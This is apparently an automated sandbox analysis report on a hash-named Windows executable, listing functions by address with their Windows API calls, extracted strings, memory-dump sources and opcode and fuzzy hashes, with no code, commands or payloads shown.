Opcode Fuzzy Hash: 48c63cb5703f073f89cab0089e9e4c515107ae53a4f486dd93102f6d64dfb803
Instruction Fuzzy Hash: 2B4126B4A00305CFDB15CF99D488AAABBF5FF88314F25C499E519AB321D774A841CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0279534C, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 02795401

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 5eed6a6e27ccca7d8c38633b2e00a9364d6591153230d97f0f9be78873458d1c
Instruction ID: b1873fad1bf194382a14362964df8db9079a2a4a5f804b7779b7d6ebc0ae4ef5
Opcode Fuzzy Hash: 5eed6a6e27ccca7d8c38633b2e00a9364d6591153230d97f0f9be78873458d1c
Instruction Fuzzy Hash: 304101B0C00729CFDB25DFA9D884B8EBBB1BF49308F248169D408BB250DB756946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02798E90, Relevance: 1.6, APIs: 1, Instructions: 77libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,027996B1,00000800,00000000,00000000), ref: 027998C2

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 41f3a3d4e017a3d06c4b1a03614419bd7add7033b5c89b31e2ba51d08c90ffa2
Instruction ID: 1a39f7c3a89a382ea20a67661355e3e542f56c0f0a1ec6cce687da37b3ee8de5
Opcode Fuzzy Hash: 41f3a3d4e017a3d06c4b1a03614419bd7add7033b5c89b31e2ba51d08c90ffa2
Instruction Fuzzy Hash: E821BBB2804749CFEB10CFAAE485ADEBBF4EF59314F15806ED415A7201C734A506CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0279AAEC, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0279B8D6,?,?,?,?,?), ref: 0279B997

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 78d10fb4de64916d7865d23ed88db337c2c65f89e3c94dc87286d6a030680ecd
Instruction ID: e60b8b7a62584fcf59d9756092ce2dc541b95c53506012b0cf83ba2ce2a3400d
Opcode Fuzzy Hash: 78d10fb4de64916d7865d23ed88db337c2c65f89e3c94dc87286d6a030680ecd
Instruction Fuzzy Hash: 9221E6B5900309DFDB10CFA9E984ADEBBF8EB48324F14841AE914B3310D775A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0279B908, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0279B8D6,?,?,?,?,?), ref: 0279B997

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 29b72df83d4d98b3033cbb89e41d9e652cba427de2993dbbe55def9bf941cc73
Instruction ID: 326745c93b9493672fc5812d15e7e33cc9a2e83165ee2f98237eab4ee406cb4a
Opcode Fuzzy Hash: 29b72df83d4d98b3033cbb89e41d9e652cba427de2993dbbe55def9bf941cc73
Instruction Fuzzy Hash: BF21EFB5900209DFDB10CFA9E584ADEBBF5FB48324F24841AE954B3351C778AA54CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02799850, Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,027996B1,00000800,00000000,00000000), ref: 027998C2

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 17cce4fadd4c08ca05320c80626aca0409ded77b40a25d9b1dfd824d0a7f0490
Instruction ID: c108da63559d0c73f2741b45a386b30fb527917d20774d7b2cd270269834080a
Opcode Fuzzy Hash: 17cce4fadd4c08ca05320c80626aca0409ded77b40a25d9b1dfd824d0a7f0490
Instruction Fuzzy Hash: 982122B6D003098FDB10CFAAE844ADEFBF4AB88324F10852ED529A7640C775A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02798E78, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,027996B1,00000800,00000000,00000000), ref: 027998C2

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7664672969cd2fb309f7f1afa9ed2d4d74384b00d7aea792a784b46107186203
Instruction ID: b967cd34b42c5d8b62a820b22ccfed5b4a6efd19486b49f2a6a1771ea38728f3
Opcode Fuzzy Hash: 7664672969cd2fb309f7f1afa9ed2d4d74384b00d7aea792a784b46107186203
Instruction Fuzzy Hash: C91103B69003499FEB10CFAAD444ADEFBF4EB88324F14842EE515B7600C775A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 027995D0, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02799636

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1f379259689a5956a5598e4a515495f1c823c51394d2a957371883432028463c
Instruction ID: 30c17110b49a2feafdc56b04745943400d983e27cb2ed104c03110dc9f97fbb3
Opcode Fuzzy Hash: 1f379259689a5956a5598e4a515495f1c823c51394d2a957371883432028463c
Instruction Fuzzy Hash: 5311DFB5D007498FDB20CF9AD444BDEFBF4AB88224F15842AD529B7600C779A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0279E1D0, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d37e49d612d9c4926c24808246cf66463ac55734feb94dca478d5d4d86c6c612
Instruction ID: 97f1a54b4846865ac0faf41c28b2db9cae64a5806f35f8bb2b7e4755c49e1d10
Opcode Fuzzy Hash: d37e49d612d9c4926c24808246cf66463ac55734feb94dca478d5d4d86c6c612
Instruction Fuzzy Hash: C4129AB2512746EAE712CF65F4B82893B61F745328F504328D2619BBD1DBBC2D4ACF48

Uniqueness

Uniqueness Score: -1.00%

Function 0279C25C, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae163e6fcae9a231144efe10ff4e31aa048ed19da782f9f07c1df24c34297c3e
Instruction ID: 707acdde2cdfe0fab2efdd8692cfb0612e2358009015146ccb524c230a2538ec
Opcode Fuzzy Hash: ae163e6fcae9a231144efe10ff4e31aa048ed19da782f9f07c1df24c34297c3e
Instruction Fuzzy Hash: 45A16D32E003098FCF16DFA5D8449DDBBB2FF89300B15816AE905BB261EB31A915CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0279E1C0, Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b0e8021cbd12179a0f03652791b7c2c8ed05e4ef067dd52374329659a4f1205
Instruction ID: 33d43fb6e3682d5dc3f60da4431a5c3d751cbc25b9a3889d3b1189bdc16fa142
Opcode Fuzzy Hash: 8b0e8021cbd12179a0f03652791b7c2c8ed05e4ef067dd52374329659a4f1205
Instruction Fuzzy Hash: 44C1FBB2812746AAD712DF65F4B41897B61FB45328F504328D161AB7D0DBBC2D4ACF48

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 992 Parent PID: 968 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exeCOMMON

Executed Functions

Function 05163AC0, Relevance: 6.2, Strings: 1, Instructions: 4929COMMON

Download Yara Rule

Strings

DCl, xrefs: 051688B3

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID: DCl
API String ID: 0-1865014917
Opcode ID: 1a366979f339e2cfc5848cdaa83a5a8b1147e2a84dacbe5b7974eff73deffcf8
Instruction ID: 417d3dcd10f76ed43d6cb925260d33ec9a83138becb7afe195ed4893f2ae46a0
Opcode Fuzzy Hash: 1a366979f339e2cfc5848cdaa83a5a8b1147e2a84dacbe5b7974eff73deffcf8
Instruction Fuzzy Hash: EDA32B31E50B1AA6EB209B60CC41BD9F371BF95700F21C756B6593B5C0EBB4BAD58B80

Uniqueness

Uniqueness Score: -1.00%

Function 050FB448, Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

4Pl, xrefs: 050FB7BD

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID: 4Pl
API String ID: 0-1129004566
Opcode ID: 6d34eca3955dcb07def30c1c5f6e05505132f70c06369b4086da8283d2ad4c0e
Instruction ID: 4201f4d19e6a3178059522bbad8412d57ba04a7a33bfb0039af7d6dd046ca74b
Opcode Fuzzy Hash: 6d34eca3955dcb07def30c1c5f6e05505132f70c06369b4086da8283d2ad4c0e
Instruction Fuzzy Hash: AE12AE35B042049FCB54DB69E589AAEBBF2BF88314F158469EA06D7790DB34EC41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05160040, Relevance: .6, Instructions: 584COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a724b57c7a326f60ad2152a40f25a327edc04c583dbb5405749456b7c040ffb8
Instruction ID: 4c25397bde5ec840d53756f9cb536304da0de32fb097a2f7e0b11b76b6101662
Opcode Fuzzy Hash: a724b57c7a326f60ad2152a40f25a327edc04c583dbb5405749456b7c040ffb8
Instruction Fuzzy Hash: B6229A30B042019FCB54DB79D899A6EBBF2AF88204F258429E50ACB791DF35ED46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 050FBAB0, Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbf64547ae9c7b9a4d785ba52aef544f0c3fa924ef18b90e4b3563bd9dd0132e
Instruction ID: 85a600ac017ea1acec8afd415f88c7015ce8be2db9514728d4fd51d11af9e550
Opcode Fuzzy Hash: bbf64547ae9c7b9a4d785ba52aef544f0c3fa924ef18b90e4b3563bd9dd0132e
Instruction Fuzzy Hash: 28C19D306006019FDB54EF26E884A6EB3E2FF80358F54CD68D6168BA65DF74E885CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05162690, Relevance: 3.8, Strings: 3, Instructions: 84COMMON

Download Yara Rule

Strings

Hrl, xrefs: 05162774
Hrl, xrefs: 05162710
Hrl, xrefs: 05162768

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID: Hrl$Hrl$Hrl
API String ID: 0-4063828421
Opcode ID: e281bd416284ffd4c1edb4b5cf49db85c477ef7e8a8f2517f45c28510b3e35e6
Instruction ID: 89479ffe01d74a4177925f753f22a9b47ccda63fb585fd0196c0452db548ccf8
Opcode Fuzzy Hash: e281bd416284ffd4c1edb4b5cf49db85c477ef7e8a8f2517f45c28510b3e35e6
Instruction Fuzzy Hash: 3A31BF347102028FCB14EF69D85196AB7B2FF88614B118669E416DB754DF30ED15CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0516E6A8, Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

`yl, xrefs: 0516E88C
`yl, xrefs: 0516E6C9

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID: `yl$`yl
API String ID: 0-3750672380
Opcode ID: 86f4487934cf5aadba49060282297f432fbd50a818d74ebbbe0a8407076825c9
Instruction ID: d311a461b54abf3844b32f15291c7a2f616e7ee5d24e57b6c7b3ab78cfa2bd2b
Opcode Fuzzy Hash: 86f4487934cf5aadba49060282297f432fbd50a818d74ebbbe0a8407076825c9
Instruction Fuzzy Hash: 5A514839F14210AFCB14EB78E45556EB6EBAFCC2507558624ED06E7780DF309C028BD2

Uniqueness

Uniqueness Score: -1.00%

Function 0516268F, Relevance: 2.6, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

Hrl, xrefs: 05162710
Hrl, xrefs: 05162768

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID: Hrl$Hrl
API String ID: 0-3679337760
Opcode ID: 4deee0558812417fdf6aa6400b4e256dfa3b069a6c42580652f51c8e3e04b833
Instruction ID: 0a323f0fb1b561e84d0b54d83ad65babd21c88d91ea5ad01f3d03089bfd446e5
Opcode Fuzzy Hash: 4deee0558812417fdf6aa6400b4e256dfa3b069a6c42580652f51c8e3e04b833
Instruction Fuzzy Hash: B221B135B002028FCB14EF68D95196EB7B2FF84304B018669E426DB754EF30ED15CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05162680, Relevance: 2.6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

Strings

Hrl, xrefs: 05162710
Hrl, xrefs: 05162768

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID: Hrl$Hrl
API String ID: 0-3679337760
Opcode ID: a78cb3a91b7eb3c188e8dd52e86434be16b4c3a9583f0e446aac39d19f4b605d
Instruction ID: 6c9f8726d94a794a340298a1eef34cfa02630bafb20b2406ff1dc8a9959f5690
Opcode Fuzzy Hash: a78cb3a91b7eb3c188e8dd52e86434be16b4c3a9583f0e446aac39d19f4b605d
Instruction Fuzzy Hash: 1221C134B042028FCB14EF68D55197EB7B2FF94214B118669E426DB654EF30ED15CB92

Uniqueness

Uniqueness Score: -1.00%

Function 010688B4, Relevance: 1.6, APIs: 1, Instructions: 77windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 01068885

Memory Dump Source

Source File: 00000002.00000002.468015539.0000000001060000.00000040.00000001.sdmp, Offset: 01060000, based on PE: false

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: e1811bdd2199a3c696e89f6931912e297d3eccec1a80c86eb6e181f79c087d36
Instruction ID: 3d5a93bfd7c56fe7c694762daee4d17ad2cb33f2cb39d0cbe3e32fc928e4fcb7
Opcode Fuzzy Hash: e1811bdd2199a3c696e89f6931912e297d3eccec1a80c86eb6e181f79c087d36
Instruction Fuzzy Hash: 183196B2C053488FDB10CFA9D884ADABFF4BF4A200F14C49ED589A7201C3749909CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 010656BC, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,01065E3E,?,?,?,?,?), ref: 01065EFF

Memory Dump Source

Source File: 00000002.00000002.468015539.0000000001060000.00000040.00000001.sdmp, Offset: 01060000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 01d4360996307686b9b6c0c6c9453f98881e0d79f9ae0616f79e49f56e9bffd4
Instruction ID: e5e7f48aba2623f250255864d608c1c0cf3d0b4fbb2692deea3adee641701528
Opcode Fuzzy Hash: 01d4360996307686b9b6c0c6c9453f98881e0d79f9ae0616f79e49f56e9bffd4
Instruction Fuzzy Hash: 0C2114B5904208AFDB10CFA9D884AEEFBF8EB48324F14801AE954B3310D374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01065E71, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,01065E3E,?,?,?,?,?), ref: 01065EFF

Memory Dump Source

Source File: 00000002.00000002.468015539.0000000001060000.00000040.00000001.sdmp, Offset: 01060000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 88d937935d66a9d959bb543b218e3e399e9ec91f01d562a2b4083709874e5e0e
Instruction ID: 4deacd142a9c0abc63bd3c4f9ef5156e8549cba5997f30ba588ff44618a4db39
Opcode Fuzzy Hash: 88d937935d66a9d959bb543b218e3e399e9ec91f01d562a2b4083709874e5e0e
Instruction Fuzzy Hash: E821E4B59002099FDB10CFA9D884ADEBFF8FB48324F24841AE914B7351D774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01068470, Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E28,?,?,01068458,03BC427C,?), ref: 010684E9

Memory Dump Source

Source File: 00000002.00000002.468015539.0000000001060000.00000040.00000001.sdmp, Offset: 01060000, based on PE: false

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: ea541440f12ea85792e103e8ec2e5b6f000f418a80fb11ce9c4fb5485163f4ca
Instruction ID: c55434a699b0c7cb9aa87c99e180f7e91cc6a2fc379a3b3a2b8e51e43ef5ea38
Opcode Fuzzy Hash: ea541440f12ea85792e103e8ec2e5b6f000f418a80fb11ce9c4fb5485163f4ca
Instruction Fuzzy Hash: 542149719006098FDB50CF9AC884BEEFBF8EB88324F14C42AD555A3740DB78A945CF61

Uniqueness

Uniqueness Score: -1.00%

Function 01067C34, Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E28,?,?,01068458,03BC427C,?), ref: 010684E9

Memory Dump Source

Source File: 00000002.00000002.468015539.0000000001060000.00000040.00000001.sdmp, Offset: 01060000, based on PE: false

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 5733789cb49512c3071a1fd5e94f3ab0bb54b7819516c14d5bf59764bf7fcb23
Instruction ID: 2d500afc1621075768ed590cbc855cd7f7e00759d39d49b50bc10dbc07ef5b14
Opcode Fuzzy Hash: 5733789cb49512c3071a1fd5e94f3ab0bb54b7819516c14d5bf59764bf7fcb23
Instruction Fuzzy Hash: 052138719006098FDB50CF9AC844BEEFBF8EB88320F14C42AD555A3340DB74A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01068800, Relevance: 1.6, APIs: 1, Instructions: 61windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 01068885

Memory Dump Source

Source File: 00000002.00000002.468015539.0000000001060000.00000040.00000001.sdmp, Offset: 01060000, based on PE: false

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 31922a93b42dd42548e36f85fb03e7ec2444898a50d7fa22be2677344fe0a6f2
Instruction ID: 94d5542a4f9c4adcd0d72e212b308c90a89cd8034c363a0a3a5175387971f86d
Opcode Fuzzy Hash: 31922a93b42dd42548e36f85fb03e7ec2444898a50d7fa22be2677344fe0a6f2
Instruction Fuzzy Hash: 0D2102B6D013099FDB14CF9AD884ADEFBF8FB48310F14892EE959A7600C375A544CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01068808, Relevance: 1.6, APIs: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 01068885

Memory Dump Source

Source File: 00000002.00000002.468015539.0000000001060000.00000040.00000001.sdmp, Offset: 01060000, based on PE: false

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: cb1dc52e431aaeffa5b3e15752fccba38e8c305326e9b5e3c6fa81c01221f76f
Instruction ID: 609151ea78c63742613fae061a90227d8c91d3e1a85ef34cf609656a3463ed20
Opcode Fuzzy Hash: cb1dc52e431aaeffa5b3e15752fccba38e8c305326e9b5e3c6fa81c01221f76f
Instruction Fuzzy Hash: DF2113B5D003099FDB14CF9AD884ADEFBF8FB48310F14852EE559A7200C374A544CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05169F90, Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

DKl, xrefs: 0516A03B

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID: DKl
API String ID: 0-1599706436
Opcode ID: c0a20f818c0cfaf7c599b2718066ce544223f3550bff14f0ed3c226ed9e94361
Instruction ID: 0411757007ad7575acbf659eda58154d1824f9ca7990252bec523db6278b828d
Opcode Fuzzy Hash: c0a20f818c0cfaf7c599b2718066ce544223f3550bff14f0ed3c226ed9e94361
Instruction Fuzzy Hash: 7E413235B042014FCB14AB78A856A7EBBB3AFC9215B15047DE506CB381DF34DC16C792

Uniqueness

Uniqueness Score: -1.00%

Function 050F0140, Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

x5l, xrefs: 050F01BB

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID: x5l
API String ID: 0-1778584636
Opcode ID: 2b413a244a14aca883b593d9d574de4ba57219a2b3b3a7c3ab922741a0b0fe76
Instruction ID: ffdcfc04574f57ae94a96e6a17eefa37fb1a115b944743b87da6c7d292daef21
Opcode Fuzzy Hash: 2b413a244a14aca883b593d9d574de4ba57219a2b3b3a7c3ab922741a0b0fe76
Instruction Fuzzy Hash: 0D31D2317042018FC754A778E869A3D7BE6BFC8219719856AE60ACBB91DF34DC028751

Uniqueness

Uniqueness Score: -1.00%

Function 0516E698, Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

`yl, xrefs: 0516E6C9

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID: `yl
API String ID: 0-411384194
Opcode ID: 1e903a5bd3449aca65d4fb53490b3136884465c9d70cb25408d78c13d6564c4c
Instruction ID: 76a1c9256ce64a4dac948ad36c40edf615e759339ab8f7dc74dfa6250ad8b06e
Opcode Fuzzy Hash: 1e903a5bd3449aca65d4fb53490b3136884465c9d70cb25408d78c13d6564c4c
Instruction Fuzzy Hash: B731EE3AB04620EB8B149B24D44549EFBBBAFCC2A07598714EC12B7384DF309D528AD1

Uniqueness

Uniqueness Score: -1.00%

Function 050FD4D8, Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e2cd9ba5576b65b7d0441b10f067e72fb3801b8a5e30b2129757762b750b9d1
Instruction ID: 1232cbfc0b953f77e8d6a926c3166c0e335c68c670a63e179a3013405f288d3d
Opcode Fuzzy Hash: 4e2cd9ba5576b65b7d0441b10f067e72fb3801b8a5e30b2129757762b750b9d1
Instruction Fuzzy Hash: 54D14C31A002059FCB44EF64E985AAEB7B2FF84314F54C968E9059B765DF30ED46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 050FC096, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2ac801a29f44555533df100649f7b0b866f39bbe8699d7c877f822be59dfb15
Instruction ID: 7de01361ca061ddf77d22af28754a20f00346bc638dbdd84ccccaa3531c299f3
Opcode Fuzzy Hash: e2ac801a29f44555533df100649f7b0b866f39bbe8699d7c877f822be59dfb15
Instruction Fuzzy Hash: E8D19E30A046098FDB54DF64D885AAEB7F2FF88314F14C968DA069B651DF34ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 050F63C0, Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 401e6388e9d57f27faa2f1781731d7e01f653a96e87c4dabaae18458a4d751ae
Instruction ID: badde03869e18f18cce5fa0a836036e695c0c3207cdc4b1a6e3552c578e3627f
Opcode Fuzzy Hash: 401e6388e9d57f27faa2f1781731d7e01f653a96e87c4dabaae18458a4d751ae
Instruction Fuzzy Hash: CAA1C231B082118FCB58EB28E494B6DB7F2FF85650F158069DA06DBB51DB36EC41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 050FC980, Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e724ad474402850b94bc062ef1011e3df9110bc9f8ef76b904acdff8597f3ba
Instruction ID: eb04cf22a3c886f86894d03fa1c5ed0b3bcbf0120b43e056f80fe9c2923e5051
Opcode Fuzzy Hash: 7e724ad474402850b94bc062ef1011e3df9110bc9f8ef76b904acdff8597f3ba
Instruction Fuzzy Hash: 59A1F030B042059FDB14EB75E856B7EB7E3EF80318F148828D6068BA91EF34ED458B91

Uniqueness

Uniqueness Score: -1.00%

Function 0516E8E0, Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0b3638277960ee0ad65955a76d5cadbac73aba191a7b0fddfee828d2dd6707e
Instruction ID: 4f602c5cee17d21f12e8e6a2c6df6d65604bc22782b605909c3ed6bf88e09c6f
Opcode Fuzzy Hash: c0b3638277960ee0ad65955a76d5cadbac73aba191a7b0fddfee828d2dd6707e
Instruction Fuzzy Hash: 10A17839B042058FCB14DFB9C8956AEBBF6AF88300F15852AD506EB391DF35D946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0516F2F8, Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473247731.0000000005160000.00000040.00000001.sdmp, Offset: 05160000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a8f6ce6069954f2e096b76394d0511b3d997ae009bb7f2bc82040f3fcafae7d
Instruction ID: 3186bd8c12654aae65d09be271fc795e271ab57f41b2aab3c3ada451f6390026
Opcode Fuzzy Hash: 3a8f6ce6069954f2e096b76394d0511b3d997ae009bb7f2bc82040f3fcafae7d
Instruction Fuzzy Hash: CCB13031A1061ADFDB24EF64D858B9DBBB2FF44300F508699E94967290DF30AE95CF90

Uniqueness

Uniqueness Score: -1.00%

Function 050FF510, Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0850809220f72d513a9ee757c3da7370d97f0d42f6e2a08dc486c1b1a78fdcb4
Instruction ID: b369378228524a9b589b12516b1957b535ba0586686f93c03b0dfc3128afd4e6
Opcode Fuzzy Hash: 0850809220f72d513a9ee757c3da7370d97f0d42f6e2a08dc486c1b1a78fdcb4
Instruction Fuzzy Hash: 0381A534B046018FDB58AB799465A3F76E7EFC8249715803CE606CBB85EF35DD028791

Uniqueness

Uniqueness Score: -1.00%

Function 050FA300, Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.473041790.00000000050F0000.00000040.00000001.sdmp, Offset: 050F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0efe45d25323bb5e96829cdc806a4aa621f747e8b0f1ac15ef4d11fc1b4e267a
Instruction ID: 36894bc8e34e5e26b254f4f5d51eeb894bd40c633644ac62044ac5e900127378
Opcode Fuzzy Hash: 0efe45d25323bb5e96829cdc806a4aa621f747e8b0f1ac15ef4d11fc1b4e267a
Instruction Fuzzy Hash: 2E818134B002059FDB14DF64E899AAEBBF2FF88304F158469EA06AB751DF74AC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 05160013, Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

